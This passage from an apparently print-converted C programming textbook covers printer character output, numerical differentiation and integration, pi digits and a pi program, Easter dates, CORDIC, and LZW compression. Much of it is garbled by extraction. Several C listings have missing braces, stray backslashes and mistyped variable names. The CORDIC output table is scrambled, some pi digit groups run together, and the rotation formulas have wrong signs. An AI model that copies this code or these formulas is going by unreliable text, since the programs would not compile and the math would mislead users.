/* Center cross */
case 197: /* '十' */
            PrintWithEpsonCharSet( 128 );
            break;
/* Horizontal */
case 196: /* '-' */
            PrintWithEpsonCharSet( 133 );
            break;
/* Vertical */
case 179: /* '|' */
                            PrintWithEpsonCharSet( 134 );
                            break;
/* Other ASCII Characters adjust */
case 6: /* spade */
            PrintWithEpsonCharSet( 145 );
            break;
case 3: /* heart */
            PrintWithEpsonCharSet( 146 );
            break;
```

```
    case 4: /* diamond */
        PrintWithEpsonCharSet( 147 );
        break;
    case 5: /* club */
        PrintWithEpsonCharSet( 148 );
        break;
    case 246: /* '\breve{y' */}
        PrintWithEpsonCharSet( 158 );
        break;
    case 241: /* 'ë' */
        PrintWithEpsonCharSet( 159 );
        break;
    default:
    mask = 128;
    SetPrinter2GraphicsMode( );
    for ( i=0; i<8; ++i )
    {
        /* make ptr point the start of the letter in
                        the rom font each character is FNTHEIGHT
                        bytes with each bit in a byte being a
                        pixel on/off for that scan line of the
                charater
            */
            ptr = font8x8 + ( ch * FNTHEIGHT );
            fntval = 0;
            powof2 = 128;
            for ( j=0 ; j<8 ; ++j )
            {
                    fntval += (*ptr&mask) ? powof2 : 0;
                    ++ptr; /* ptr points to the next scanline
                                    of the current character */
                    powof2 >>= 1;
                    }
                        biosprint( PRINTER_WRITE, fntval, LPT1 );
            mask >>= 1; /* or dividing by 2 */
        }
            }
                }
        }
    fclose( fp );
    return(0);
} /*--main( ) ------------* /
```


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## Suggested Projects

1. As far as I know, there is no function library for printing purposes. So develop your own PRINTER.LIB. The library should contain similar functions like Set2GraphicsMode(), SetLineSpacingTo1by8(), etc. It is very easy to do so! No programming skill is necessary! The only thing you need is Escape Codes.
2. Write a program that prints the given text in Braille characters. (Hint: You may need to alter your dot-matrix printer. That is, you have to remove the ribbons, replace the existing soft pins with hard pins. For programming, use graphics mode)

## Part V

## Mathematics \& C

## "Standing alone needs courage" <br> - Ramesh Krishnan

## 54 <br> Implementing Math Functions

For a quite long time, I was wondering how to implement mathematic functions like $\sin (), \cos (), \log ()$ etc. I knew the implementation of the easy functions like IntergerPower( ):

```
int IntegerPower(int a, int n)
{
    int i, result=1;
    for ( i=0; i<n; ++i )
                                    result *= a;
    return( result );
}
```

But how to implement the functions like $\sin (), \cos ()$ ) Let's see!

### 54.1 Range reduction and Chebychev polynomial approximation

The range reduction uses various transformation formulas to reduce the range of the input argument. For trigonometric functions, the reduction is to the first quadrant or even a part of the first quadrant. Then a polynomial providing the best accuracy within that limited range is used. But outside that limited range, the accuracy of the polynomial worsens very quickly. This method is widely used on computers with floating-point hardware.

### 54.2 CORDIC Method

The CORDIC (COordinate Rotation DIgital Computer) methods are sometimes described as a 'pseudo-division'. That is, like in normal division we subtract a divisor repeatedly, but unlike normal division this divisor changes value between each subtraction according to a set of rules. This method is usually used in pocket calculators that don't have floating-point hardware. You can turn to Algorithms section of this book for more explanations about CORDIC Algorithm!

## Differentiation

The differentiation problem is actually a tangent problem or slope problem. Finding out tangent for circle at a given point is very easy. But finding out tangent for a curve, which got irregular slope is little bit difficult. So now we can define the tangent as a line, which is drawn from a point to its nearest point. That is dx should be very small.

The definition of derivation says

$$
f^{\prime}(x)=\lim _{\Delta x \rightarrow 0} \frac{f(x+\Delta x)-f(x)}{\Delta x}
$$

### 55.1 Program



The following program finds out the derivation of a function $y=4-x^{2}$ at a given point.

```
#include <math.h>
#define EQUATION( x ) ( 4 - (x)*(x) ) /* to be differentiated */
#define x ( 3 )
#define dx ( 0.00000001 )
int main( void )
{
    double result, dy;
    dy = EQUATION( x + dx ) - EQUATION( x );
    result = dy / dx;
    printf( "Result of Differentiation( 4-x*x ) at x=3 is %lf \n",
        result );
    return(0);
}
```


## 5 <br> 6"Whoever digs a pit for others will fall into it." I ntegration

The basic problem of integral calculus is actually a problem of areas. We calculate the area of graph between the points $\mathrm{x}=\mathrm{a}$ and $\mathrm{x}=\mathrm{b}$.

In order to find out the area, the definition of Integration suggests us to divide the entire area into pieces of rectangles. When the width dx of the rectangle becomes smaller and smaller, we get the area of a graph with good accuracy.

In general, we use the notation

$$
\int_{a}^{b} F(x) d x
$$



### 56.1 Program

The following program finds out the integration of $y=4-x^{2}$

```
#include <math.h>
```

```
#define EQUATION( x ) ( 4 - (x)*(x) ) /* to be integrated */
```

```
#define b ( 2 ) /* Upper limit */
#define a ( -2 ) /* Lower limit */
#define dx ( 0.00001 ) /* interval */
```

int main( void )
\{
double result $=0, x$;
for ( $\mathrm{x}=\mathrm{a}$; $\mathrm{x}<=\mathrm{b}$; $\mathrm{x}+=\mathrm{dx}$ )
result += EQUATION( x ) * dx ;
printf( "Result of Integral ( 4-x*x ) over -2 to 2 is \%lf $\backslash n "$,
result );
return(0);
\}

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### 56.2 Numerical Analysis

Numerical Analysis is another widespread area in Mathematics. The main idea behind Numerical Analysis is to reduce the number of iterations. Thus when you solve the above problem with Numerical Analysis methods like Simpson's method, you can save many iterations and your precious time!


All rectangles are all of same width $d x$ and the height $f(x)$ is different at different x

"Whoever is your servant is the greatest among you."
PI
$\pi$ is an irrational number. To find out $\pi$ with enough precision, many people have contributed since 2000 BC . Before the invention of computers, the calculation of $\pi$ was really hard. Even with the computers, the calculation of $\pi$ is really a tough job. The problem with $\pi$ is that it is defined as the ratio between perimeter and diameter of a circle. The value of $\pi$ is not exactly $22 / 7$, but it is approximately $22 / 7$. And so you need more precision. First computer calculation of $\pi$ was carried on ENIAC (Electronic Numerical Integrator and Computer) at Ballistic Research labs in September 1949. It took about 70 hours to calculate $\pi$ to 2,037 decimal places! It was programmed to use Machine's formula $\pi=16 \arctan (1 / 5)-4 \arctan (1 / 239)$. It took almost 4000 years to find out $\pi$ with good precision. Yes, in 1981AD only Kazunori Miyoshi and Kazuhiko Nakayama in Japan calculated $\pi$ to 20,00,000 decimal places. They used an efficient portable program from the formula $\pi=32 \arctan (1 / 10)-4 \arctan (1 / 239)-16 \arctan (1 / 515)$.

## $57.1 \pi$

Officially accepted value of $\pi$ to 3,200 decimal places is listed below. This listing would be very useful, if you want to work on this research-oriented program!

```
\pi = 3. 1415926535 8979323846 2643383279 5028841971 6939937510 5820974944
        5923078164 0628620899 8628034825 3421170679 8214808651 3282306647
        0938446095 5058223172 5359408128 4811174502 8410270193 8521105559
        6446229489 5493038196 4428810975 6659334461 2847564823 3786783165
        2712019091 4564856692 3460348610 4543266482 1339360726 0249141273
        7245870066 0631558817 4881520920 9628292540 9171536436 7892590360
        0113305305 4882046652 1384146951 9415116094 3305727036 5759591953
        0921861173 8193261179 3105118548 0744623799 6274956735 1885752724
        8912279381 8301194912 9833673362 4406566430 8602139494 6395224737
        1907021798 6094370277 0539217176 2931767523 8467481846 7669405132
        0005681271 4526356082 7785771342 7577896091 7363717872 1468440901
        2249534301 4654958537 1050792279 68925892354201995611 2129021960
        8640344181 5981362977 4771309960 5187072113 4999999837 2978049951
        0597317328 1609631859 5024459455 3469083026 4252230825 3344685035
        2619311881 7101000313 7838752886 5875332083 8142061717 7669147303
        5982534904 2875546873 1159562863 8823537875 9375195778 1857780532
        1712268066 1300192787 6611195909 2164201989 3809525720 1065485863
        2788659361 5338182796 8230301952 0353018529 6899577362 2599413891
        2497217752 8347913151 5574857242 45415069595082953311 6861727855
        8890750983 8175463746 4939319255 0604009277 0167113900 9848824012
        8583616035 6370766010 4710181942 95559619894676783744 9448255379
        7747268471 0404753464 6208046684 2590694912 9331367702 8989152104
        7521620569 6602405803 8150193511 2533824300 3558764024 7496473263
        5 7 9
```


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| 9141992726 | 0426992279 | 6782354781 | 6360093417 | 2164121992 | 4586315030 |
| :--- | :--- | :--- | :--- | :--- | :--- |
| 2861829745 | 5570674983 | 8505494588 | 5869269956 | 9092721079 | 7509302955 |
| 3211653449 | 8720275596 | 0236480665 | 4991198818 | 3479775356 | 6369807426 |
| 5425278625 | 5181841757 | 4672890977 | 7727938000 | 8164706001 | 6145249192 |
| 1732172147 | 7235014144 | 1973568548 | 1613611573 | 5255213347 | 5741849468 |
| 4385233239 | 0739414333 | 4547762416 | 8625189835 | 6948556209 | 9219222184 |
| 2725502542 | 5688767179 | 0494601653 | 4668049886 | 2723279178 | 6085784383 |
| 8279679766 | 8145410095 | 3883786360 | 9506800642 | 2512520511 | 7392984896 |
| 0841284886 | 2694560424 | 1965285022 | 2106611863 | 0674427862 | 2039194945 |
| 0471237137 | 8696095636 | 4371917287 | 4677646575 | 7396241389 | 0865832645 |
| 9958133904 | 7802759009 | 9465764078 | 9512694683 | 9835259570 | 9825822620 |
| 5224894077 | 2671947826 | 8482601476 | 9909026401 | 3639443745 | 5305068203 |
| 4962524517 | 4939965143 | 1429809190 | 6592509372 | 2169646151 | 5709858387 |
| 4105978859 | 5977297549 | 8930161753 | 9284681382 | 6868386894 | 2774155991 |
| 8559252459 | 5395943104 | 9972524680 | 8459872736 | 4469584865 | 3836736222 |
| 6260991246 | 0805124388 | 4390451244 | 1365497627 | 8079771569 | 1435997700 |
| 1296160894 | 4169486855 | 5848406353 | 4220722258 | 2848864815 | 8456028506 |
| 0168427394 | 5226746767 | 8895252138 | 5225499546 | 6672782398 | 6456596116 |
| 3548862305 | 7745649803 | 5593634568 | 1743241125 | 1507606947 | 9451096596 |
| 0940252288 | 7971089314 | 5669136867 | 2287489405 | 6010150330 | 8617928680 |
| 9208747609 | 1782493858 | 9009714909 | 6759852613 | 6554978189 | 3129784821 |
| 6829989487 | 2265880485 | 7564014270 | 4775551323 | 7964145152 | 3746234364 |
| 5428584447 | 9526586782 | 1051141354 | 7357395231 | 1342716610 | 2135969536 |
| 2314429524 | 8493718711 | 0145765403 | 5902799344 | 0374200731 | 0578539062 |
| 1983874478 | 0847848968 | 3321445713 | 8687519435 | 0643021845 | 3191048481 |
| 0053706146 | 8067491927 | 8191197939 | 9520614196 | 6342875444 | 0643745123 |
| 7181921799 | 9839101591 | 9561814675 | 1426912397 | 4894090718 | 6494231961 |
| 5679452080 | 9514655022 | 5231603881 | 9301420937 | 6213785595 | 6638937787 |
| 0830390697 | 9207734672 | 2182562599 | 6615014215 | 0306803844 | 7734549202 |
| 6054146659 | 2520149744 | 2850732518 | 6660021324 | 3408819071 | 0486331734 |
| 6496514539 | 0579626856 |  |  |  |  |

### 57.2 Program

The following $C$ program is one of the implementations to find $\pi$. Once someone else provided me this program. I don't know who is the real author of this program. On Pentium III machine, it just took fraction of seconds to calculate $\pi$ ! I have compared the output of this program with official-accepted value of $\pi$. This program gives right $\pi$ value upto 3199 decimal places; from $3200^{\text {th }}$ decimal place onwards the accuracy is lost. Anyhow this is a good program!

```
#include <stdio.h>
#include <stdlib.h>
#include <alloc.h>
long kf, ks;
long far *mf, far *ms;
long cnt, n, temp, nd;
long i;
long col, col1;
long loc, arr[21];
```

```
void Shift( long far *l1, long far *l2, long lp, long lmod )
{
    long k;
    k = (*l2) > 0 ? (*l2) / lmod: -(-(*l2) / lmod) - 1;
    *l2 -= k * lmod;
    *l1 += k * lp;
} /*--Shift( )---------*/
void YPrint( long m )
{
        if ( cnt<n )
            {
            if ( ++col == 11 )
                        col = 1;
                        if ( ++col1 == 6 )
                        {
                            col1 = 0;
                            printf( "\n" );
                            printf("%4ld",m%10);
                            }
                        else
                            printf("%3ld",m%10);
                }
            else
                    printf("%ld",m);
                        ++cnt;
            }
} /*--YPrint( )-----------*/
void XPrint( long m )
{
        long ii, wk, wk1;
        if ( m < 8 )
            {
            for( ii = 1; ii <= loc; )
            YPrint( arr[(int)(ii++)] );
            loc = 0;
        }
        else if ( m > 9 )
            {
                    wk = m / 10;
                    m %= 10;
        for( wk1 = loc; wk1 >= 1; --wk1 )
                            {

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```

                        wk += arr[(int)wkl];
                        arr[(int)wk1] = wk % 10;
                            wk /= 10;
                    }
            }
    arr[(int) (++loc)] = m;
    } /*--XPrint( )---------*/
int main( int argc, char *argv[] )
{
int i=0;
char *endp;
arr[i++] = 0;
if ( argc < 2 )
{
printf( "Syntax: PI digits \n\a");
exit(1);
}
n = strtol( argv[1], \&endp, 10 );
if ( (mf = farcalloc( n + 3L, (long) sizeof(long)) ) == NULL )
{
printf( "Error: Memory not sufficient! \n\a" );
exit(1);
}
if ( (ms = farcalloc( n + 3L, (long) sizeof(long)) ) == NULL )
printf( "Error: Memory not sufficient! \n\a" );
farfree( mf );
exit(1);
}
printf( "\nApproximation of PI to %ld digits\n", (long)n );
cnt = 0;
kf = 25;
ks = 57121L;
mf[1] = 1;
for( i = 2; i <= n; i += 2 )
{
mf[i] = -16;
mf[i+1] = 16;
}
for( i = 1; i <= n; i += 2 )
ms[i] = -4;
ms[i+1] = 4;
}
printf( "\n 3." );
while( cnt < n )

```
```

        {
            for( i = 0; ++i <= n - cnt; )
            {
                    mf[i] *= 10;
                    ms[i] *= 10;
            }
        for( i = (int)(n - cnt + 1); --i >= 2; )
            {
                        temp = 2 * i - 1;
                        Shift( &mf[i - 1], &mf[i], temp - 2, temp * kf );
                        Shift( &ms[i - 1], &ms[i], temp - 2, temp * ks );
            }
        nd = 0;
        Shift( (long far *)&nd, &mf[1], 1L, 5L );
        Shift( (long far *)&nd, &ms[1], 1L, 239L );
        XPrint( nd );
        }
    printf( "\n\nCalculations Completed!\n" );
    farfree( ms );
    farfree( mf );
    return(0);
    } /*--main( )----------*/

```

\section*{58} "Whoever makes himself great will be made humble."

\section*{Easter Day}

Easter is one of the important celebrations for Christians. Easter day is always a Sunday. So it is not celebrated on certain date like Christmas or New Year. In the Gregorian calendar, the date of Easter is defined to occur on the Sunday following the ecclesiastical Full Moon that falls on or next after March 21.

\subsection*{58.1 Oudin's Algorithm}

Oudin has developed an algorithm to find out the 'Easter day'. Perhaps it is one of the greatest 'mysterious' algorithms.

\subsection*{58.2 Easter Day Program}

The following program implements Oudin's algorithm to find Easter day. It works for almost all Gregorian years. For a given year, it gives you the Easter day in Month-Day format.
```

char *Month_Tbl[12] = {
"January", "February", "March", "April", "May",
"June", "July", "August", "September",
"October", "November", "December"
};
void Easter( int *d, int *m, int y )
{
int c, n, k, i, j, l;
c = y/100;
n = y - 19*(y/19);
k = (c - 17)/25;
i = c - c/4 - (c - k)/3 + 19*n + 15;
i = i - 30*(i/30);
i = i - (i/28)*(1 - (i/28)*(29/(i + 1))*((21 - n)/11));
j = y + y/4 + i + 2 - c + c/4;
j = j - 7*(j/7);
l = i - j;
*m = 3 + (l + 40)/44;
*d = l + 28 - 31*(*m/4);
} /*--Easter( )--------*/

```
```

int main( void )
{
int d, m, y;
printf( "Enter the year (Gregorian year): " );
scanf( "%d", \&y );
Easter( \&d, \&m, Y );
printf( "Easter in the year %d is %s %d \n",
y, Month_Tbl[m-1], d );
return(0);
} /*--main( ) ------*/

```

\section*{Part VI}

\section*{Algorithms \& C}

\title{
"To die for a religion is easier than to live it absolutely" -Jorge Luis Borges
}

\section*{59} "Whoever makes himself humble will be made great." CORDIC

CORDIC (COordinate Rotation DIgital Computer) Algorithm is heavily used for implementing mathematical functions, especially in scientific calculators. But unfortunately this neat algorithm is not much known to people. Also people who know this algorithm keep it closed and badly documented. So I thought this good algorithm should be known to the programming community. I have managed to collect materials from many sources and I have understood the real stuff of CORDIC.

\subsection*{59.1 Birth of CORDIC}

CORDIC was introduced by Volder in 1959 to calculate trigonometric values like sine, cosine, etc. In 1971, Walther extended this algorithm to calculate hyperbolic, logarithmic and other functions.

\subsection*{59.2 Advantages}

This algorithm uses only minimal hardware (adder and shift) for computation of all trigonometric and other function values. It consumes fewer resources than any other techniques and so the performance is high. Thus, almost all scientific calculators use the CORDIC algorithm in their calculations.

\subsection*{59.3 Principle}

CORDIC works by rotating the coordinate system through constant angles until the angle is reduced to zero. So with this principle we are changing the given angle each time to reduce to zero. Here we are using addition, subtraction and shift to calculate the function values.

Now let us see, how we can calculate sine and cosine values using CORDIC. Consider a vector C with coordinate \((\mathrm{X}, \mathrm{Y})\) that is to be rotated through an angle \(\sigma\). The new coordinate ( \(\mathrm{X}^{\prime}, \mathrm{Y}^{\prime}\) ) after rotation is
\[
C^{\prime}=\left[\begin{array}{l}
X^{\prime} \\
Y^{\prime}
\end{array}\right]=\left[\begin{array}{l}
X \cos (\sigma)-Y \sin (\sigma) \\
Y \cos (\sigma)-X \sin (\sigma)
\end{array}\right]
\]

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This equation can be represented in tangent form as
\[
\begin{aligned}
& \mathrm{X} / \cos (\sigma)=\mathrm{X}-\mathrm{Y} \times \tan (\sigma) \\
& \mathrm{Y} / \cos (\sigma)=\mathrm{Y}-\mathrm{X} \times \tan (\sigma)
\end{aligned}
\]

The angle is broken into smaller and smaller pieces, such that the tangent of the angle is always power of 2 . The pre-calculated angles are also added to the total angle and thus the above equation can be written as
\[
\begin{aligned}
& X(i+1)=\mathrm{t}(\mathrm{i}) \times\left(\mathrm{X}(\mathrm{i})-\mathrm{Y} / 2^{\mathrm{i}}\right) \\
& \mathrm{Y}(\mathrm{i}+1)=\mathrm{t}(\mathrm{i}) \times\left(\mathrm{Y}(\mathrm{i})-\mathrm{X} / 2^{\mathrm{i}}\right) \\
& \text { where } \mathrm{t}(\mathrm{i})=\cos \left(\arctan \left(1 / 2^{\mathrm{i}}\right)\right) \\
& \mathrm{i} \text { varies from } 0 \text { to } \mathrm{n}
\end{aligned}
\]


According to the above iterative equation \(t(i)\) will converge to a 'constant' after first few iterations (i.e., when i get varies). So it is better to precalculate this 'constant' for a greater value of n as:
\[
\mathrm{T}=\cos \left(\arctan \left(1 / 2^{0}\right)\right) \times \cos \left(\arctan \left(1 / 2^{1}\right)\right) \times \ldots \ldots \ldots . . \times \cos \left(\arctan \left(1 / 2^{\mathrm{n}}\right)\right)
\]

Calculated value of T will always be 0.60725293500888 . We can use any precision for T. But the accuracy of the calculation of sine and cosine depends on the precision we use and so it is recommended to use at least 6 precision in your calculation.

While we program, the value of the angle \(\arctan \left(1 / 2^{i}\right)\) can be pre-calculated and stored in an array. This value can be used in the iterations and it avoids the calculation at the iterative time.

\subsection*{59.4 Algorithm}

The steps for CORDIC algorithm are:
1. Get the angle and store it in Angle. Store the pre-calculated arctan values in an array
2. Assign \(X=0.607252935\) (i.e., \(X=T\) ), \(Y=0\)
3. Find \(\mathrm{X}^{\prime}\) and \(\mathrm{Y}^{\prime}\)
4. If sign of Angle is positive then
\[
\begin{aligned}
& \mathrm{X}=\mathrm{X}-\mathrm{Y}^{\prime} \\
& \mathrm{Y}=\mathrm{Y}+\mathrm{X}^{\prime}
\end{aligned}
\]
else ( If sign of Angle is negative )
\[
\begin{aligned}
& \mathrm{X}=\mathrm{X}+\mathrm{Y}^{\prime} \\
& \mathrm{Y}=\mathrm{Y}-\mathrm{X}^{\prime}
\end{aligned}
\]
5. Repeat steps (3) and (4) till the Angle approaches 0
6. Print "Value of \(\cos =" X\)
7. Print" Value of \(\sin =" Y\)
8. Exit

\subsection*{59.5 Program}

Following is the program for calculating sine and cosine value for a given angle. In this program the variable Angle holds the supplied angle (for which we have to find the cosine and sine values). Arctans[i] holds the precalculated angle of arctan's. Then in each iteration the value of Arctans [i] is subtracted from or added to Angle according to the sign of the Angle value. We can finish the iteration when Angle becomes 0 or to a nearer value (say, 0.00001). The value of \(X\) and \(Y\) will also incremented or decremented according to Angle value.

After the completion of this program, cosine value will be stored in X and sine value will be stored in Y for a given Angle.
```

\#define T (0.60725293500888)
\#define SIZE (50)
\#define ZERO (0.00000001) /* approximation for zero */
\#include <math.h>
int main( void )
{
int i = 0;
double X = T, Y = 0.0, Angle;
double dx, dy;
double Arctans[SIZE] =
{
45.0000000000000, 26.5650511770780, 14.0362434679265,
7.1250163489018, 3.5763343749974, 1.7899106082461,
0.8951737102111, 0.4476141708606, 0.2238105003685,
0.1119056770662, 0.0559528918938, 0.0279764526170,
0.0139882271423, 0.0069941136754, 0.0034970568507,
0.0017485284270, 0.0008742642137, 0.0004371321069,
0.0002185660534, 0.0001092830267, 0.0000546415134,
0.0000273207567, 0.0000136603783, 0.0000068301892,
0.0000034150946, 0.0000017075473, 0.0000008537736,
0.0000004268868, 0.0000002134434, 0.0000001067217,
0.0000000533609, 0.0000000266804, 0.0000000133402,
0.0000000066701, 0.0000000033351, 0.0000000016675,
0.0000000008338, 0.0000000004169, 0.00000000002084,
0.0000000001042, 0.0000000000521, 0.00000000000261,
0.0000000000130, 0.0000000000065, 0.00000000000033,
0.0000000000016, 0.0000000000008, 0.0000000000004,
0.0000000000002, 0.0000000000001
};
printf( "Enter the Angle : " );
scanf( "%lf", \&Angle );
printf("I\tX\t\tY\t\tAngle\t\tPreCal arctan()\n");

```

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```

    while( fabs(Angle) >= ZERO && i < SIZE )
        {
        printf("\n%2d %3.11lf %+3.11lf %+3.11lf %3.11lf",
                i, X, Y, Angle, Arctans[i]);
        dx = X / pow(2, i);
        dy = Y / pow(2, i);
        if( Angle >= 0.0 )
            {
            Angle -= Arctans[i];
            X -= dy;
            Y += dx;
            }
        else
            {
                    Angle += Arctans[i];
                    X += dy;
                    Y -= dx;
            }
        ++i;
        }
    return(0);
    } /*--main( ) ------*/

```

Here is the output of our program for Angle \(=3\).

Angle
PreCal arctan()
\(+0.00000000000\)

9
10
11
12
13
14
15
16
17
18
19
\(+0.60725293501\)
\(20.91087940251+0.30362646750\)
30.98678601939
\(4 \quad 0.99627434650\)
50.99923944872
60.99877615150
70.99805659300
80.99853829317
.60725293501
\(+0.07590661688\)
\(-0.04744163555\)
\(+0.01482551111\)
\(+0.04605174388\)
\(+0.06165762125\)
\(+0.05386030412\)
+0.04995976391
\(+0.05191044493\)
\(+0.05288569016\)
\(+0.05239809230\)
\(+0.05215428706\)
\(+0.05227619124\)
\(+0.05233714294\)
\(+0.05230666719\)
\(+0.05232190509\)
\(+0.05232952403\)
\(+0.05233333351\)
\(+3.00000000000\)
45.00000000000
\(-42.00000000000 \quad 26.56505117708\)
\(-15.43494882292 \quad 14.03624346793\)
\(-1.39870535500 \quad 7.12501634890\)
\(+5.72631099391 \quad 3.57633437500\)
+2.14997661891 1.78991060825
\(+0.360066010660 .89517371021\)
\(-0.53510769955 \quad 0.44761417086\)
\(-0.08749352869 \quad 0.22381050037\)
\(+0.13631697168 \quad 0.11190567707\)
+0.02441129461 0.05595289189
\(-0.03154159728 \quad 0.02797645262\)
\(-0.00356514466 \quad 0.01398822714\)
\(+0.01042308248 \quad 0.00699411368\)
\(+0.00342896880 \quad 0.00349705685\)
\(-0.00006808805 \quad 0.00174852843\)
\(+0.00168044038 \quad 0.00087426421\)
\(+0.00080617617 \quad 0.00043713211\)
\(+0.00036904406 \quad 0.00021856605\)
\(+0.00015047801 \quad 0.00010928303\)
\begin{tabular}{llllll}
20 & 0.99862957238 & +0.05233523824 & +0.00004119498 & 0.00005464151 \\
21 & 0.99862952247 & +0.05233619061 & -0.00001344653 & 0.00002732076 \\
22 & 0.99862954743 & +0.05233571442 & +0.00001387422 & 0.00001366038 \\
23 & 0.99862953495 & +0.05233595252 & +0.00000021385 & 0.00000683019 \\
24 & 0.99862952871 & +0.05233607156 & -0.00000661634 & 0.00000341509 \\
25 & 0.99862953183 & +0.05233601204 & -0.00000320125 & 0.00000170755 \\
26 & 0.99862953339 & +0.05233598228 & -0.00000149370 & 0.00000085377 \\
27 & 0.99862953417 & +0.05233596740 & -0.00000063993 & 0.00000042689 \\
28 & 0.99862953456 & +0.05233595996 & -0.00000021304 & 0.00000021344
\end{tabular}

The value of \(\cos (3)\) is stored in \(X\) and \(\sin (3)\) is stored in \(Y\). Thus, according to the precision we use for \(T\), the accuracy of the cosine and sine values can be increased or decreased.

\section*{60 \\ LZW (Lempel Ziv Welch)}

Every programmer may have the knowledge about data compression. Data compression is the process of reducing the size of the data file. One method of achieving this is by eliminating redundant data. There are many other methods for data compression. In this chapter let's see LZW (Lempel Ziv Welch) algorithm. This algorithm is not much known to people as many books on algorithms ignore this neat algorithm.

\subsection*{60.1 Brief History}

In 1977, Abraham Lempel and Jacob Ziv introduced a compression algorithm. Again in 1978, they modified the algorithm and referred it as "dictionary" based compression. The first algorithm was abbreviated as LZ77 and the later as LZ78. Terry Welch altered these algorithms in 1984 and referred the algorithm as LZW. LZW algorithm took its popularity when GIF format used it for compression.

\subsection*{60.2 Principle behind LZW}

In LZW compression algorithm, the input file that is to be compressed is read character by character and they are combined to form a string. The process continues till it reaches the end of file. Every new string is assigned some code and stored in Code table. They can be referred when the string is repeated with that code. The codes are assigned from 256, since in ASCII character set we have already \(256(0-255)\) characters.

The decompression algorithm expands the compressed file. Here the file, which is created in the compression, is read character by character and it is expanded. This decompression process doesn't require the Code table built during the compression.

\subsection*{60.3 LZW Compression}

Here the \(1^{\text {st }}\) and the \(2^{\text {nd }}\) characters are combined to form a string and they are stored in the Code table. The code \(256(100 \mathrm{~h})\) is assigned to the first new string. Then \(2^{\text {nd }}\) and \(3^{\text {rd }}\) characters are combined and if that string is not available in the Code table, it is assigned a new code and it is stored in the Code table. Thus we are building a Code table with every new string. When the same string is read again, the code already stored in the table will be used. Thus compression occurs when a single code is outputted instead of a set of characters.

The extended ASCII holds only \(256(0\) to 255 ) characters and it requires just 8 -bits to store each character. But for building the Code table, we have to extend the 8 -bits to few more bits to hold \(256(100 \mathrm{~h})\) and above. If we extend it to 12 -bits, then we can store up to 4096
elements in the table. So when we store each element in the table it is to be converted to a 12-bit number.

For example, when you want to store A(dec-65, hex -41), T(dec-84, hex-54), \(0(\) dec-79, hex-4F) and \(Z(\) dec-90, hex-5A), you have to store it in bytes as 04,10 , \(54,04, F 0,5 A\). The reason is, we have allotted only 12 -bits for each character.

Consider a string 'ATOZOFC'. It takes 7x8(56) bits. Suppose if a code is assigned to it as 400(190h), it will take only 12-bits instead of 56-bits!

\subsection*{60.3.1 Compression Algorithm}
1. Specify the number of bits to which you have to extend
2. read the first character from the file and store it in ch
3. repeat steps (4) to (7) till there is no character in the file
4. read the next character and store it in ch2
5. if ch + ch 2 is in the table get the code from the table
otherwise
output the code for ch + ch 2 add to the table
6. Store it to the Output file in the specified number of bits
7. \(\mathrm{ch}=\mathrm{ch} 2\)
8. output the last character ch
9. exit

\subsection*{60.3.2 Example}

Input string: ATOZOFCATOZOFCATOZOFC
\begin{tabular}{|c|c|c|c|}
\hline Characters Read & \begin{tabular}{c} 
String Stored \\
/ Retrieved
\end{tabular} & \begin{tabular}{c} 
Process in \\
Table
\end{tabular} & In file \\
\hline A & AT & Store & Store \\
\hline T & TO & Store & Store \\
\hline O & OZ & Store & Store \\
\hline Z & ZO & Store & Store \\
\hline O & OF & Store & Store \\
\hline F & FC & Store & Store \\
\hline C & CA & Store & - \\
\hline A & AT & Retrieve & Store Relevant Code \\
\hline T & AT0 & Store & - \\
\hline O & OZ & Retrieve & Store Relevant Code \\
\hline Z & OZO & Store & - \\
\hline O & OF & Retrieve & Store Relevant Code \\
\hline F & OFC & Store & - \\
\hline C & CA & Retrieve & Store Relevant Code \\
\hline A & & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline Characters Read & \begin{tabular}{c} 
String Stored \\
/ Retrieved
\end{tabular} & \begin{tabular}{c} 
Process in \\
Table
\end{tabular} & In file \\
\hline T & CAT & Store & - \\
\hline O & TO & Retrieve & Store Relevant Code \\
\hline Z & TOZ & Store & - \\
\hline O & ZO & Retrieve & Store Relevant Code \\
\hline F & ZOF & Store & - \\
\hline C & FC & Retrieve & Store Relevant Code \\
\hline
\end{tabular}

In this example-string, the first character ' A ' is read and then the second character ' T '. Both the characters are concatenated as 'AT' and a code is assigned to it. The code is stored in the Code table. Since this is the first string that is new to the table, it is assigned \(256(100 \mathrm{~h})\). Then the second and the third characters are concatenated to form another new string 'TO'. This string is also new to the Code table and the table expands to accommodate this new string and it is assigned the next code \(257(101 \mathrm{~h})\). Thus whenever a new string is read after concatenation it is assigned a relevant code and the Code table is build. The table expands till the code reaches 4096 (since we have assigned 12-bits) or it reaches the end of file.

When the same set of characters that is stored in the table is again read it is assigned to the code in the Code table. Thus according to the number of bits specified by the program the output code is stored. In other words, if we have extended the bits from 8 to 12 then the characters that is stored in 8-bits should be adjusted so as to store it in 12-bit format.

\subsection*{60.4 LZW Decompression}

The file that is compressed is read byte by byte. The bytes are concatenated according to the number of bits specified by us. For example, we have used 12-bits for storing the elements so we have to read first 2-bytes and get the first 12-bits from that 16-bits. Using this bits Code table is build again without the Code table previously created during the compression. Use the remaining 4-bits from the previous 2-bytes and next byte to form the next code in the string table. Thus we can build the Code table and use it for decompression.

This decompression algorithm builds its own Code table and it will be same as the table created during the compression. The decompression algorithm refers this newly created Code table but not the Code table created during the compression. This is the main advantage in this algorithm.

\subsection*{60.4.1 Decompression Algorithm}
1. read the character 1
2. convert 1 to its original form
3. output 1
4. repeat steps(5) to (10) till there is no character in the file
5. read a character z
6. convert \(1+z\) to its original form
7. output in character form
8. if \(\mathrm{l}+\mathrm{z}\) is new then
store in the code table
9. add \(1+z\) first char of entry to the code table
10. \(1=\) first char of entry
11. exit

\subsection*{60.4.2 Example}

Consider the same example given above and do the decompression.


Here each byte is read one by one as hexadecimal code and 3 of the bytes are combined so as to convert them from a 12-bit format to a 8-bit character (ASCII) format.

Thus the bytes \(04,10 \& 84\) are combined as 041084 . The combined code is split to get \(\mathrm{A}(041)\) and \(\mathrm{T}(084)\). The table is also built concurrently when each new string is read. When we read 100, 102 etc., we can refer to the relevant code in the table and output the relevant code to the file. For example, when we reach the \(4^{\text {th }}\) set of characters and read 04,31 and 00 they must be converted to 12 -bit form as 043 and 100 will refer to the code in the table and outputs the string C and AT respectively. Thus we can get all the characters without knowing the previous Code table.

\section*{Suggested Projects}
1. Write your own compression utility using LZW algorithm.

\section*{61 "What comes out of a man is what makes him 'unclean'." \\ Backtracking Algorithms}

